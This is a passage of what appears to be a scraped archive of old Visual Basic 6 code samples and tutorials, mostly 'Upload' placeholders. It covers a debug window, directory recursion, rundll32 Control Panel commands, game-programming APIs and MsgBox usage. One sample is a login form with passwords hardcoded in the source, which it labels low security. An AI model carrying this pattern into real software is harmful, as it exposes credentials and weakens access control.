Sub"},{"WorldId":1,"id":22008,"LineNumber":1,"line":"\n1. make a Form called frmDebug\n2. add a textbox called txtDebug (multiline+scrollbar(s))\n3. Add a Module and Copy this into the module:\n\nOption Explicit\nPublic ShowDebugWindow As Boolean\n\nPublic Function DebugPrint(DebugStr As String)\n If ShowDebugWindow = True Then\n frmDebug.Show\n frmDebug.txtDebug = frmDebug.txtDebug & vbCrLf & \"[\" & Time & \"] \" & DebugStr\n Else\n frmDebug.Hide\n End If\nEnd Function\n\n\n\nFor those who read this but don't understand what to do exactly: \n1. Add a Form to the project (Form1)\n2. Add a button into Form1\n3. (Click) Code for the button is:\n\nPrivate Sub Command1_Click()\n ShowDebugWindow = True\n DebugPrint \"Button clicked!\"\nEnd Sub\n\nwhen you run yer program (startup object is Form1) press the button and the DebugWindow will popup!\n\nGood Luck!\nhttp://start.at/iseekyou"},{"WorldId":1,"id":10644,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31702,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33395,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33286,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32842,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33582,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34909,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31743,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31816,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30277,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23540,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21329,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24962,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25055,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25887,"LineNumber":1,"line":"'Create a DirListBox named \"Dir1\" and a FileListBox named \"File1\" and set their Visible properties to False\n'Call:\n' DoDirs \"C:\\MyDir\", \"*.mp3\"\nPublic Sub DoDirs(DirPath As String, DirFilters As String)\n File1.Pattern = DirFilters\n Dir1.Path = DirPath\n DoFiles DirPath\n If Dir1.ListCount = 0 Then Exit Sub\n For k = 0 To Dir1.ListCount - 1\n Dir1.Path = DirPath\n DoDirs Dir1.List(k), DirFilters\n 'DoEvents\n Next k\n Dir1.Path = DirPath\nEnd Sub\nPrivate Sub DoFiles(DirPath As String)\n File1.Path = DirPath\n If File1.ListCount = 0 Then Exit Sub\n For k = 0 To File1.ListCount - 1\n FileName = File1.Path & String(1 - Abs(CInt(Right(File1.Path, 1) = \"\\\")), \"\\\") & File1.List(k)\n 'Place what you would like to do to the files here\n \n Next k\nEnd Sub"},{"WorldId":1,"id":31897,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22207,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34088,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32401,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22222,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21004,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15011,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21760,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21641,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23158,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23304,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28600,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26478,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25026,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24639,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12799,"LineNumber":1,"line":"'This is just one of the examples showing a \n'low security way to hard code form entry with \n'a username and double password entry to the form.\n'\n'\n'\nOption Explicit\nPublic LoginSucceeded As Boolean\nPrivate Sub Form_Load()\n Me.Caption = \"Monkey Login \"\nEnd Sub\nPrivate Sub cmdCancel_Click()\n LoginSucceeded = False\n Unload Me\nEnd Sub\nPrivate Sub cmdOK_Click()\nDim Pw1 As String '\nPw1 = \"monkey\" 'first password\n'check combo box for population. If nothing\n'return a msgbox dialog\nIf cmoUserName = \"\" Then\n MsgBox (\"Type a Username\")\nElse\n'Then check for first password\nIf txtPassword = Pw1 Then\n'If correct password found go to verify second\nPassword2\nEnd If\nEnd If\nEnd Sub\nPrivate Function Password2()\nDim PW2 As String '\nPW2 = \"boy\" 'second password\n'check validity of second password\n'then check if all correct, if so, load form\nIf txtPassword2 = PW2 Then\n LoginSucceeded = True\n MsgBox (\"Access granted!\")\n frmAbout.Show\n Unload Me\nElse\n'if only one password is correct and other empty\n'remind user two passwords are needed\n MsgBox \"You need both passwords to enter this program\"\nEnd If\nEnd Function\n"},{"WorldId":1,"id":25333,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25445,"LineNumber":1,"line":"Dim strUNC As String\n If GetUNCPath(\"H:\", strUNC) = NO_ERROR Then\n MsgBox \"The UNC of the specified drive is \" & strUNC\n Else\n MsgBox \"There was a problem, sorry!\"\n End If"},{"WorldId":1,"id":26026,"LineNumber":1,"line":"<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"> <tr> <td colspan=\"3\">Control Panel</td> </tr> <tr> <td></td> <td></td> <td> </td> </tr> <tr> <td align=\"right\">module:</td> <td width=\"12\"></td> <td>CONTROL.EXE</td> </tr> <tr> <td align=\"right\"></td> <td width=\"12\"></td> <td> </td> </tr> <tr> <td align=\"right\">command:</td> <td width=\"12\"></td> <td>rundll32.exe shell32.dll,Control_RunDLL</td> </tr> <tr> <td align=\"right\">result:</td> <td width=\"12\"></td> <td>displays all the Control Panel icons in an Explorer view</td> </tr> <tr> <td align=\"right\"> </td> <td width=\"12\"></td> <td> </td> </tr> </table> </div> <hr size=\"1\" color=\"#29527C\"> <div align=\"left\"> <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"> <tr> <td colspan=\"3\">Accessibility Properties</td> </tr> <tr> <td align=\"right\"></td> <td></td> <td> </td> </tr> <tr> <td align=\"right\">module:</td> <td width=\"12\"></td> <td>ACCESS.CPL</td> </tr> <tr> <td align=\"right\"></td> <td width=\"12\"></td> <td> </td> </tr> <tr> <td align=\"right\">command:</td> <td></td> <td>rundll32.exe shell32.dll,Control_RunDLL access.cpl,,5</td> </tr> <tr> <td align=\"right\">result:</td> <td></td> <td>displays the Accessibility General properties</td> </tr> <tr> <td align=\"right\"></td> <td></td> <td> </td> </tr> <tr> <td align=\"right\">command:</td> <td width=\"12\"></td> <td>rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1</td> </tr> <tr> <td align=\"right\">result:</td> <td></td> <td>displays the Accessibility Keyboard properties</td> </tr> <tr> <td align=\"right\"></td> <td></td> <td> </td> </tr> <tr> <td align=\"right\">command:</td> <td></td> <td>rundll32.exe shell32.dll,Control_RunDLL access.cpl,,2</td> </tr> <tr> <td align=\"right\">result:</td> <td></td> <td>displays the Accessibility Sound properties</td> </tr> <tr> <td align=\"right\"></td> <td></td> <td> </td> </tr> <tr> <td align=\"right\">command:</td> <td></td> <td>rundll32.exe shell32.dll,Control_RunDLL access.cpl,,3</td> </tr> <tr> <td align=\"right\">result:</td> <td></td> <td>displays the Accessibility Display properties</td> </tr> <tr> <td align=\"right\"></td> <td></td> <td> </td> </tr> <tr> <td align=\"right\">command:</td> <td></td> <td>rundll32.exe shell32.dll,Control_RunDLL access.cpl,,4</td> </tr> <tr> <td align=\"right\">result:</td> <td></td> <td>displays the Accessibility Mouse properties</td> </tr> <tr> <td align=\"right\"></td> <td></td> <td> </td> </tr> </table> </div> <hr size=\"1\" color=\"#29527C\"> <div align=\"left\"> <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"> <tr> <td colspan=\"3\">Add New Hardware Wizard</td> </tr> <tr> <td align=\"right\"></td> <td></td> <td> </td> </tr> <tr> <td align=\"right\">module:</td> <td width=\"12\"></td> <td>SYSDM.CPL</td> </tr> <tr> <td align=\"right\"></td> <td width=\"12\"></td> <td> </td> </tr> <tr> <td align=\"right\">command:</td> <td></td> <td>rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1</td> </tr> <tr> <td align=\"right\">result:</td> <td></td> <td>runs the Add New Hardware wizard</td> </tr> <tr> <td align=\"right\"></td> <td></td> <td> </td> </tr> </table> </div> <hr size=\"1\" color=\"#29527C\"> <div align=\"left\"> <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"> <tr> <td colspan=\"3\">Add New Printer Wizard</td> </tr> <tr> <td align=\"right\"></td> <td></td> <td> </td> </tr> <tr> <td align=\"right\">module:</td> <td width=\"12\"></td> <td>SHELL32.DLL</td> </tr> <tr> <td align=\"right\"></td> <td width=\"12\"></td> <td> </td> </tr> <tr> <td align=\"right\">command:</td> <td></td> <td>rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL AddPrinter</td> </tr> <tr> <td align=\"right\">result:</td> <td></td> <td>runs the Add New Printer wizard</td> </tr> <tr> <td></td> <td></td> <td> </td> </tr> <tr> <td align=\"right\" valign=\"top\">comments:</td> <td></td> <td valign=\"top\">Windows NT, it is possible to bring up a predefined Windows Dialog box for\n connecting to a network printer - the ConnectToPrinterDlg API. However, this dialog is not accessible by Visual Basic programs\n running under Windows 95. Therefore, you must use a Command line equivalent statement to invoke the "Add Printer\n Wizard" under Windows 95 as detailed above. (KB article Q154007)</td> </tr> <tr> <td align=\"right\" valign=\"top\"></td> <td></td> <td valign=\"top\"> </td> </tr> </table> </div> <hr size=\"1\" color=\"#29527C\"> <div align=\"left\"> <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"> <tr> <td colspan=\"3\">Add/Remove Programs Property Page</td> </tr> <tr> <td align=\"right\"></td> <td></td> <td> </td> </tr> <tr> <td align=\"right\">module:</td> <td width=\"12\"></td> <td>APPWIZ.CPL</td> </tr> <tr> <td align=\"right\"></td> <td width=\"12\"></td> <td> </td> </tr> <tr> <td align=\"right\">command:</td> <td></td> <td>rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1</td> </tr> <tr> <td align=\"right\">result:</td> <td></td> <td>displays the Install/Uninstall tab selected</td> </tr> <tr> <td align=\"right\"></td> <td></td> <td> </td> </tr> <tr> <td align=\"right\">command:</td> <td width=\"12\"></td> <td>rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,2</td> </tr> <tr> <td align=\"right\">result:</td> <td></td> <td>displays the Windows Setup tab selected</td> </tr> <tr> <td align=\"right\"></td> <td></td> <td> </td> </tr> <tr> <td align=\"right\">command:</td> <td></td> <td>rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,3</td> </tr> <tr> <td align=\"right\">result:</td> <td></td> <td>displays the Startup Disk tab selected</td> </tr> <tr> <td align=\"right\"></td> <td></td> <td> </td> </tr> </table> </div> <hr size=\"1\" color=\"#29527C\"> <div align=\"left\"> <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"> <tr> <td colspan=\"3\">Briefcase</td> </tr> <tr> <td align=\"right\"></td> <td></td> <td> </td> </tr> <tr> <td align=\"right\">module:</td> <td width=\"12\"></td> <td>SYNCUI.DLL</td> </tr> <tr> <td align=\"right\"></td> <td width=\"12\"></td> <td> </td> </tr> <tr> <td align=\"right\">command:</td> <td></td> <td>rundll32.exe syncui.dll,Briefcase_Create</td> </tr> <tr> <td align=\"right\">result:</td> <td></td> <td>Creates a new Briefcase on the desktop</td> </tr> <tr> <td align=\"right\"></td> <td></td> <td> </td> </tr> </table> </div> <hr size=\"1\" color=\"#29527C\"> <div align=\"left\"> <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"> <tr> <td colspan=\"3\">Copy Disk Dialog</td> </tr> <tr> <td align=\"right\"></td> <td></td> <td> </td> </tr> <tr> <td align=\"right\">module:</td> <td width=\"12\"></td> <td>DISKCOPY.DLL</td> </tr> <tr> <td align=\"right\"></td> <td width=\"12\"></td> <td> </td> </tr> <tr> <td align=\"right\">command:</td> <td></td> <td>rundll32.exe diskcopy.dll,DiskCopyRunDll</td> </tr> <tr> <td align=\"right\">result:</td> <td></td> <td>displays the Copy Disk dialog for removable media</td> </tr> <tr> <td align=\"right\"></td> <td></td> <td> </td> </tr> </table> </div> <hr size=\"1\" color=\"#29527C\"> <div align=\"left\"> <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"> <tr> <td colspan=\"3\">Create New Shortcut</td> </tr> <tr> <td align=\"right\"></td> <td></td> <td> </td> </tr> <tr> <td align=\"right\">module:</td> <td width=\"12\"></td> <td>APPWIZ.CPL</td> </tr> <tr> <td align=\"right\"></td> <td width=\"12\"></td> <td> </td> </tr> <tr> <td align=\"right\">command:</td> <td></td> <td>rundll32.exe apwiz.cpl,NewLinkHere %1</td> </tr> <tr> <td align=\"right\" valign=\"top\">result:</td> <td></td> <td>Displays the Create New Shortcut dialog. Completing the filename in the dialog creates a\n shortcut at the location specified by %1</td> </tr> <tr> <td align=\"right\"></td> <td></td> <td> </td> </tr> </table>\n"},{"WorldId":1,"id":10727,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10680,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10938,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10942,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10973,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11004,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10794,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10756,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10757,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11423,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11107,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11549,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11493,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11761,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12035,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33355,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33543,"LineNumber":1,"line":"<html xmlns:v=\"urn:schemas-microsoft-com:vml\"\nxmlns:o=\"urn:schemas-microsoft-com:office:office\"\nxmlns:w=\"urn:schemas-microsoft-com:office:word\"\nxmlns=\"http://www.w3.org/TR/REC-html40\">\n<head>\n<meta http-equiv=Content-Type content=\"text/html; charset=windows-1252\">\n<meta name=ProgId content=Word.Document>\n<meta name=Generator content=\"Microsoft Word 9\">\n<meta name=Originator content=\"Microsoft Word 9\">\n<link rel=File-List href=\"./LessonTwo_files/filelist.xml\">\n<title>Game Programming in Visual Basic</title>\n\n<style>\n\n</style>\n\n</head>\n<body lang=EN-US link=blue vlink=purple style='tab-interval:.5in'>\n<div class=Section1>\nGame Programming in Visual Basic<o:p></o:p>\n<span\nstyle='font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:Tahoma'>By Greg\nEnglish<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>Introduction<o:p></o:p></h2>\nWelcome\nto the second of a series of tutorials about ΓÇ£Game Programming in Visual\nBasicΓÇ¥. This lesson will get you down into the nitty gritty of the Win32 API.\nSo go ahead and read on and get coding <span\nstyle='mso-char-type:symbol;mso-symbol-font-family:Wingdings'>J<span\nstyle='font-size:10.0pt;mso-bidi-font-size:12.0pt'>.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>Getting Started<o:p></o:p></h2>\nIn this lesson,\nyou will learn the techniques of the Win32 API to make a catchy little game for\nyou and your friends to play. All game programming is are techniques that you\nlearn and put them together to make the next Quake 3 Engine! We will start off\nwith good old bitblt. The lesson itself wonΓÇÖt be big, but you can reference my\nSample Project of Asteroids in which I made in 3 hours <span\nstyle='font-family:Wingdings;mso-ascii-font-family:Tahoma;mso-hansi-font-family:\nTahoma;mso-bidi-font-family:Tahoma;mso-char-type:symbol;mso-symbol-font-family:\nWingdings'>J<span\nstyle='mso-bidi-font-family:Tahoma'>.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>BitBlt<o:p></o:p></h2>\nWhat is BitBlt?<o:p></o:p>\nBitBlt is the main graphics drawing function for the Win32\nGDI, there are others like StretchBlt, but they arenΓÇÖt really needed here. So\nlets take a look at the function<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic Declare Function BitBlt Lib "gdi32" (ByVal\nhDestDC As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth\nAs Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc\nAs Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nhDestDC ΓÇô The destination DC(Device\nContext) example: frmMain.hdc/picGame.hdc<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nX,Y ΓÇô The coordinates of where you want the Top/Left\npart of the graphics being drawn<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nnWidth, nHeight ΓÇô The dimensions of the graphic\nto be drawn.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nhSrcDC ΓÇô The source DC from which the graphic comes from.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nxSrc, ySrc ΓÇô The source coordinates from the\nhSrcDC you get the image from(nWidth and nHeight determine xSrc2 and ySrc2)<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\ndwRop ΓÇô The rasterization option. Example: SRCCOPY =\nCopy as is, SRCINVERT = Inverts the colors, SRCAND = Copies all but the white,\nSRCPAINT = Copies all but the black.<o:p></o:p>\n<h1><![if !supportEmptyParas]> <![endif]><o:p></o:p></h1>\n<h3>Tip For Debugging BitBlt<o:p></o:p></h3>\nIf you havenΓÇÖt noticed, BitBlt is a function, so it will\nreturn a value. If the value returned is less than or equal to zero, then the\nexecution of BitBlt has failed. Below is sample code for debugging BitBlt<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n[Code Start]<o:p></o:p>\nDim RetVal as long<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nRetVal =\nBitBlt(frmMain.hdc,0,0,640,480,picLogo.hdc,0,0,SRCCOPY)<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIf RetVal = 0 Then <o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á MsgBox\nΓÇ£BitBlt has failed!ΓÇ¥<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Exit\nSub/Function<o:p></o:p>\nEnd If<o:p></o:p>\n[Code Stop]<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h4>Extra BitBlt Stuff<o:p></o:p></h4>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h3>Getting Transparent Blts<o:p></o:p></h3>\nSometimes you\nwill need to get an image by itself(say a character sprite with a green\nbackground, you would need a Mask for the graphic. A Mask is just a Black and\nWhite picture of the graphic.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nYou would draw\nthe Mask first using SRCAND, then draw the real graphic EXACTLY AFTER IT, using\nSRCINVERT. You can get mask creators off PSC, because I donΓÇÖt have the time to\nmake one.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n[Code Start]<o:p></o:p>\nBitBlt frmMain.hdc,0,0,640,480,picLogo.hdc,0,0,SRCAND<o:p></o:p>\nBitBlt\nfrmMain.hdc,0,0,640,480,picLogoMask.hdc,0,0,SRCINVERT<o:p></o:p>\n[Code Stop]<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>GetAsyncKeyState<o:p></o:p></h2>\n<h1>What is GetAsyncKeyState?</h1>\nThis function allows the programmer to access character\ninput throughout the program without the use of the default\nForm_KeyPress/KeyDown/KeyUp events allowing more versatility I would say.<span\nstyle='mso-bidi-font-family:Tahoma'>Lets take a look at the function, its VERY\nVERY VERY simple.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic Declare Function GetAsyncKeyState Lib\n"user32" (ByVal vKey As Long) As Integer<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nvKey ΓÇô You insert the key constant here to check its\ncurrent state, you can use the basic vbKey constants with this.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis API is very simple to use.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n[Code Start]<o:p></o:p>\nDim btnDown as Boolean<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nbtnDown = GetAsyncKeyState(vbKeyDown)<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIf btnDown = True Then ΓÇÿ//the key is being pressed<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ΓÇÿ//code\nhere<o:p></o:p>\nElse<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ΓÇÿ//code\nhere<o:p></o:p>\nEnd If<o:p></o:p>\n[Code Stop]<o:p></o:p>\nA cool way to use this API can be looked at modEngine.bas\nin the Asteroids directory.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>SndPlaySound<o:p></o:p></h2>\n<h1>What is SndPlaySound?</h1>\nThis function is pretty easy to use as well, but at the\nsame time, it can cause some big problems if the flags given are kinda awkward.\nSo letΓÇÖs take a look at this function.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic Declare\nFunction sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA"\n(ByVal lpszSoundName As String, ByVal uFlags As Long) As Long<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nLpszSoundName\n= The filename for the\nWAVE sound(must be .WAV sound file)<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nUFlags <span\nstyle='mso-bidi-font-family:Tahoma'>- Flags for the sound when itΓÇÖs played.<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á SND_ASYNC - &H1 lets you\nplay a new wav sound, interrupting another<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á SND_LOOP - &H8 loops the\nwav sound<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á SND_NODEFAULT - &H2 if\nwav file not there, then make sure NOTHING plays<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á SND_SYNC - &H0 no\ncontrol to program til wav is done playing<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á SND_NOSTOP - &H10 if a\nwav file is already playing then it wont interrupt<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n[Code Start]<o:p></o:p>\nsndPlaySound App.Path & ΓÇ£\\Audio\\Sound.wavΓÇ¥, SND_ASYNC\nor SND_NODEFAULT<o:p></o:p>\n[Code Stop]<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nFor some basic subs and functions on using sndPlaySound,\nrefer to the Asteroids example.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>IntersectRect<o:p></o:p></h2>\n<h1>What is IntersectRect?</h1>\nThis function takes to RECT types and determines whether\nthey overlap each other. LetΓÇÖs take a look at this function.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic Declare Function IntersectRect Lib\n"user32" (lpDestRect As RECT, lpSrc1Rect As RECT, lpSrc2Rect As RECT)\nAs Long\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nlpDestRect ΓÇô This RECT will receive the area that\nthe 2 RECTs crossed over. You would be able to use this RECT for pixel perfect\ndetection. More on that in a later lesson (maybeΓÇª)\nlpSrc1Rect ΓÇô The first source RECT\nlpSrc2Rect ΓÇô The second source RECT\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n[Code Start]<o:p></o:p>\nDim tmpRECT as RECT \nDim PlayerX as Integer, PlayerY As Integer<o:p></o:p>\nDim CompX As Integer, CompY as Integer<o:p></o:p>\nDim PlayerRect as RECT, CompRect As RECT<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nΓÇÿ//We are assuming the dimenions of the player are 50x50\nand the comp 50x50<o:p></o:p>\nΓÇÿ//createrect is a helper function I wrote for creating\nrects.<o:p></o:p>\nPlayerRect = CreateRect(PlayerX, PlayerY, PlayerX +50, PlayerY\n+ 50)<o:p></o:p>\nCompRect = CreateRect(CompX,CompY,CompX + 50, CompY + 50)<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIf IntersectRect(tmpRECT,PlayerRect,CompRect) = True Then ΓÇÿ//there\nwas an overlap between the 2 rects<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ΓÇÿ//code\nhere<o:p></o:p>\nEnd If<o:p></o:p>\n[Code Stop]<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nUsing IntersectRect\ncan provide a mere decent collision detection like I used in the Asteroids\ngame. Refer to modEngine.bas for my short Collide function for collision\ndetection.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>Other APIs Used<o:p></o:p></h2>\nIΓÇÖm well aware of the other 6 or 7 APIs I used in the\nlesson, but if you go to voodoovb.thenexus.bc.ca, there are some good tutorials\non all the DC stuff, they are very good and thatΓÇÖs where I learned from. Or you\ncan check out a kick-azz VB community at rookscape.com/vbgaming, with lots of\nother cool tutorials on such stuff, including some APIs I used.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nConclusion\nWith these simple techniques, you can effectively create\na nice 2d game, better than my Asteroids game I made because I made it in 1 ΓÇô 2\nHours. You must remember, these are just the techniques NEEDED to create the\ngame, you gotta learn to put them together by yourself, and when you can\nprogram a cool game(even a simple one), you can probably say to yourself, you\ncan program anything because games require all the basics of the language like\nstrings(chars in C++ unless in an array), simple math operations, arrays etcΓÇª Until\nnext time, see ya later J\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIf you have any questions, comments, or ideas about this\nlesson please email me at <a href=\"mailto:EnglishM1@aol.com\">EnglishM1@aol.com</a>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n</div>\n</body>\n</html>\n"},{"WorldId":1,"id":11582,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29183,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21283,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12454,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23529,"LineNumber":1,"line":"Everyone uses MsgBox's, but most people just use it in the form of: \nMsgBox(\"Hello World\") \nWhat most people don't realise is that the MsgBox function has a wide variety of functions. \nThe proper syntax of the function is: \nMsgBox([Message], [options], [title], [Help File], [Context]) \nFor the purpose of not getting into too much advanced stuff here, we won't go into [context], we'll just leave it as vbNull, or not put anything in there at all. \nFor [Message] You can put whatever you like surrounded in quotes. The basic string! \nFor [options] you can put a combination of items using the Or keyword. [options] allows you to specify the buttons on the MsgBox (ok, cancel, retry, help, etc.), and/or the icon that appears on it. There are a bunch of already defined constants that VB allows you to use (seperate by the Or keyword if you want to use more than one, which I have already mentioned). \nvbCritical = The big red circle with an X in the middle of it \nvbExclamation = The yellow triangle with the exclamation point in it \nvbInformation = The white text bubble with the big i in it \nvbQuestion = The white text bubble with the big question mark in it \nNote: You cannot combine icons, if you try to, none of them will show up. \nYou can also set which buttons show up, the names of the constants pretty much resemble what they do, for example: \nvbYesNo = Gives the user the option of hitting Yes or No \nvbOKOnly = Gives the user only the option to hit OK \nvbAbortRetryIgnore = Abort, Retry, and Ignore options are given. \nvbMsgBoxHelpButton = This will make a help button, and can be combined with vbOKOnly and vbCancelOnly. \nTry entering this into Visual Basic: \nCall MsgBox(\"Cannot Find File\", vbCritical Or vbAbortRetryIgnore) \nPretty neat eh? \nThe last two options we should look at are: \nvbSystemModal, and vbApplicationModal \nvbApplicationModal prevents the user from preforming any work in the app until a button it pushed. vbSystemModal keeps the MsgBox on top of all windows until a button is pushed. \nThe next setting is [title], this is pretty straight forward, as it sets the title for the MsgBox. If it is not set, the title will be the title of the application, NOT the form. \n[help file] is the path to the help file (in quotations), that will pop up when the user clicks the Help button if you include one. A help button will only be there if yoiu include a vbMsgBoxHelpButton in your options. \nAnother great function of MsgBox's, are their ability to return values, for example, asking for confirmation, you could use some bit of code like: \nDim X \nX = MsgBox(\"Are you sure?\", vbInformation Or vbYesNo, \"Confirmation\") \nIf X = vbYes Then Call MsgBox(\"Thanks\", vbOKOnly) Visual Basic also has a list of constants used to evaluate return values resulting from MsgBox's. They are pretty self explanitory, I'm sure you wouldn't even need to browse through a list to get most, if not all of them, some of them are as follows: \nvbYes = The 'Yes' button was pressed \nvbNo = The 'No' button was pressed \nvbCancel = The 'Cancel' button was pressed \nvbAbort = The 'About' button was pressed \nvbRetry = The 'Retry' button was pressed \nI'm sure you get the idea :) \nLast thing we're gonna look at, is making multiple lines of text. It's actually very very easy, by using the vbCrLf constant that VB has. When making your [Message] try throwing it in as you would a TextBox. For example: \nCall MsgBox(\"Hello\" & vbCrLf & \"World\") \nWell, there's my input for today, you should all be 